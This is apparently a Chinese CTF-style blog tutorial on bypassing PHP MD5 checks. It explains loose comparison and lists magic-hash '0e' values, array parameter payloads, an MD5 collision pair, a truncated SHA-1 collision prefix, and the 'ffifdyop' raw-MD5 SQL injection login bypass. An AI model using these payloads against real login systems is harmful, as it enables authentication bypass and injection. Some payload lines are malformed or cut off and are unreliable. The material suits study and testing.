md5绕过

本文最后更新于 2025年1月24日 下午

相关口诀

数组绕过,0e绕过

QNKCDZO 240610708 常用

md5($a)==md5(md5($a))

0e215962017

MD5加密登录万能通用

ffifdyop

数组绕过(通用)

payload:?a[]=1&b[]=2

md5弱比较

转换规则:

1.字符型和字符型比较,为同类型,比较其内容,例’‘abc’‘==’‘c’’ => false

2.数字型和数字型比较,同上,例:123 == 12 => false

                                                     123 ==123=> true

3.字符型和数字型比较,若字符型值开头为数字,转为数字;

                                      若开头不为数字,为 null 弱比较与 0 相等。

                                   例:''abc123''==123 => false

                                          "123abc"==123 => true

                                          ''abc123''==0 => true

                                          ''123''==123 => true

                                         ''123abc''==12 => false

字符型和数值型的弱比较

  比较原理:

  先看字符串开头是否为数字

                如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123

                如果不为数字,则判断为false,即"abc123456"=>0

实例:

(“123abc”==123) => true

(“123”==123) => true

(“123abc”==“123”) => false

(“abc123”==0) => true

字符型和字符型的比较

​ 字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在

实例:

(“0e123456”==“0e345”) => true

(“0e12adfc”==“0e345”) => false

布尔型和任意值的比较

布尔值true和任意字符串和数值都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的

实例:

(true==‘‘false’’) => false

(0==‘‘false’’) => true

(true==0) => false

(true==‘‘abc’’) =>true

(true==‘‘123abc’’) =>true

md5弱类型绕过

0e绕过

0e绕过的原理

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000 = 2.76×10^6 = 2.76e6

所以0e,无论后面跟什么值,都是0

常见的字符串md5值为0e开头

加密后的密文 原值

QNKCDZO 0E830400451993494058024219903391
240610708 0E462097431906509019562988736854
s878926199a 0E545993274517709034328855841020
s155964671a 0E342768416822451524974117254469
s214587387a 0E848240448830537924465865611904

0x01 一次md5的加密
$a=$_GET[‘a’];

$b=$_GET[‘b’];

md5($a)==md5($b)

payload:?a=QNKCDZO&b=240610708

0x02 一次md5的加密
$a=$_GET[‘a’];

$a==md5($a);

payload:?a=0e215962017

因为md5(“0e215962017”)=0e291242476940776845150308577824

0x03 两次md5的加密
$a=$_GET[‘a’];

$a==md5($a);

payload:?md5(md5(0E830400451993494058024219903391))=0E545993274517709034328855841020

md5强类型绕过

md5值完全相同的字符绕过

$a=$_GET[‘a’];

$b=$_GET[‘b’];

md5($a)===md5($b)

payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

两个MD5值完全相同的字符

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

此时插入sha1值完全相同的字符

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%

万能通式ffifdyop 绕过

万能通式:129581926211651571912466741651878684928和ffifdyop

实例:

select * from ‘admin’ where password=md5($pass,true)

输入md5(‘ffifdyop’,true)绕过

select * from ‘admin’ where password=md5 ( ’ ffifdyop ’ ,true)

md5(string,raw)

7058fe431c37d69d0b7ac16230b168e3

ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password= ’ ’ or '6xxxxx ',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

where password=正确的密码or 1 ,代表永真,那么前面有没有密码都无所谓了

简单说,

select * from admin where password= ’ ’ or’6<乱码>’

就相当于

select * from admin where password= ’ ’ or 1 实现sql注入

当两个条件中有任一个条件满足,“逻辑或”的运算结果就为“真”


md5绕过
http://page.ccnyy.top/2025/01/21/md5绕过/
作者
发布于
2025年1月21日
更新于
2025年1月24日
许可协议